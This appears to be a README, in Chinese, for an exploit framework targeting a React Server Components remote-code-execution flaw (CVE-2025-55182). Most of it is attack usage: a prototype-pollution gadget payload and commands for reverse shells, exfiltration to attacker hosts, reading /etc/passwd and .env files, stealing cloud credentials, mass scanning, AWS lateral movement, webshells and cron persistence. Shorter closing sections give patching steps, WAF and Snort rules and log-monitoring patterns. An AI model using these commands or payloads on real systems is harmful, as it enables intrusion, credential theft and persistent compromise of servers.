React2Shell 利用工具 (CVE-2025-55182)
针对 CVE-2025-55182(React2Shell)的利用框架 —— React Server Components 中的严重 RCE 漏洞。
# 克隆仓库
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# 安装依赖
pip install -r requirements.txt
# 赋予可执行权限
chmod +x fiberbreak.py
# 搭建易受攻击的测试环境
docker-compose up -d
# 等待启动
sleep 20
# 测试检测
./fiberbreak.py -u http://localhost:3000 detect
# 执行 RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# 验证
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 是 React Server Components (RSC) 中的一个严重远程代码执行漏洞,允许未经身份验证的攻击者在服务器上执行任意代码。
根本原因:React Flight 协议在反序列化不可信的客户端输入时未进行充分的验证,使得攻击者能够构造恶意有效载荷,滥用 JavaScript 的原型链和 Function 构造函数。
攻击向量:攻击者向任意 RSC 端点发送精心构造的 multipart/form-data POST 请求,并携带 Next-Action 标头。恶意有效载荷利用了以下机制:
__proto__ 访问实现原型污染constructor:constructor 暴露 Function 构造函数1. 攻击者发送构造的 POST 请求
└─ multipart/form-data 格式,包含恶意 JSON
└─ Next-Action 标头(任意值)
2. 服务器反序列化有效载荷
└─ React 处理 RSC 块格式
└─ 解析类似 Promise 的对象
3. 触发 gadget 链
└─ __proto__ 访问绕过 hasOwnProperty 检查
└─ constructor:constructor 暴露 Function()
└─ _prefix 执行任意代码
4. 实现 RCE
└─ 服务器执行攻击者的 JavaScript
└─ 完全控制系统
{
"then": "$1:__proto__:then", // 原型污染
"status": "resolved_model", // 伪造的 React 内部状态
"reason": -1, // 触发解析
"value": '{"then":"$B1337"}', // Blob 引用
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // 被执行的代码
"_formData": {
"get": "$1:constructor:constructor" // Function() 访问
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// 此处缺少验证,允许恶意块
if (value && typeof value.then === 'function') {
// 攻击者控制 'then' 方法
value.then(/* ... */);
}
}
# 单个目标检测
./fiberbreak.py -u https://target.com detect
# 从文件读取多个目标
./fiberbreak.py -l targets.txt detect --threads 20
# 将结果保存为 JSON
./fiberbreak.py -l targets.txt detect -o results.json
# 禁用 SSL 验证
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# 简单的盲命令执行
./fiberbreak.py -u https://target.com exploit -c "whoami"
# 写入文件到磁盘
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# 读取文件内容
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# 反向 Shell
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS 外传(隐蔽,无 HTTP 流量)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP 外传并回显输出
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# 导出环境变量
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# 系统侦察
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# 隐蔽 DNS 信标(无命令输出)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# 自动检测云提供商并提取凭据
# 支持:AWS、GCP、Azure、DigitalOcean、Oracle Cloud、阿里云
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. 使用 DNS 信标进行隐蔽检测
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. 如果存在漏洞,提取敏感数据
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. 检查云环境
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. 记录发现,避免造成损害
# 阶段 1:检测
./fiberbreak.py -u https://target.com detect -o detection.json
# 阶段 2:验证
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# 阶段 3:影响评估
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# 阶段 4:凭据提取(如果是云环境)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# 阶段 5:交互式访问(如果授权)
# 终端 1:启动监听器
nc -lvnp 4444
# 终端 2:获取 shell
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# 创建目标列表
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# 并行扫描所有目标
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# 筛选易受攻击的目标
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# 生成报告
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 实例
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# 回调接收:
# - 实例 ID、区域、可用区
# - IAM 角色名称
# - 临时 AWS 凭据(AccessKeyId、SecretAccessKey、Token)
# - 用户数据
# - 网络配置
# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# 回调接收:
# - 项目 ID、实例名称、区域
# - 服务账号邮箱
# - OAuth2 访问令牌
# - 可用范围
# Azure 虚拟机
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# 回调接收:
# - 实例元数据
# - 托管标识 OAuth2 令牌
# - 订阅信息
# 创建唯一标记文件
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# 通过时序攻击或带外方式验证
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# 步骤 1:枚举文件
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# 步骤 2:提取配置
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# 步骤 3:提取数据库凭据
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# 提取 AWS 凭据
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# 使用提取的凭据进行横向移动
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# 枚举资源
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# 更新 React
npm install [email protected] [email protected]
# 更新 Next.js
npm install [email protected] # 或 [email protected]+
# 验证版本
npm list react react-dom next
nginx
# 阻止带有 Next-Action 标头的请求
if ($http_next_action) {
return 403;
}
# 限制 RSC 端点的速率
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# 检测 Next-Action 标头
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'检测到 CVE-2025-55182 利用尝试'"
# 检测恶意 RSC 载荷
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'检测到恶意 RSC 载荷'"
Cloudflare WAF
// 自定义规则
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Snort/Suricata 规则
alert tcp any any -> any any (
msg:"CVE-2025-55182 React2Shell 利用尝试";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Next.js 中间件
export function middleware(request) {
// 阻止来自不受信任来源的带有 Next-Action 标头的请求
if (request.headers.get('next-action')) {
// 验证来源
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# 在日志中监控利用尝试
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# 对可疑模式发出警报
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[ALERT] 潜在的 CVE-2025-55182 利用尝试: $line"
# 发送到 SIEM/告警系统
done
仅用于教育和授权安全测试
未经授权使用是被禁止的。详情请参阅 LICENSE。
| 类型 | 格式 | 描述 | 输出 |
|---|
simple | command | 执行任意 shell 命令 | 盲执行 |
output | command + --callback | 执行命令并通过 HTTP 回调输出 | 是 |
reverse_shell | lhost:lport | Bash 反向 shell | 交互式 |
dns_exfil | cmd:domain 或 domain | DNS 外传 | DNS 日志 |
http_exfil | cmd:callback_url | HTTP 外传 | HTTP POST |
file_read | filepath:callback | 读取文件并外传 | HTTP POST |
write_file | filepath:content | 写入文件到磁盘 | 盲执行 |
env_dump | callback_url | 导出环境变量 | HTTP POST |
cloud_metadata | callback_url | 提取云凭据 | HTTP POST |
recon | callback_url | 系统侦察 | HTTP POST |
stealth_beacon | domain | DNS 信标 | DNS 日志 |
webshell | filepath | 部署 Node.js WebShell | 端口 8080 |
persist | callback_url | 安装 cron 持久化 | Cron 任务 |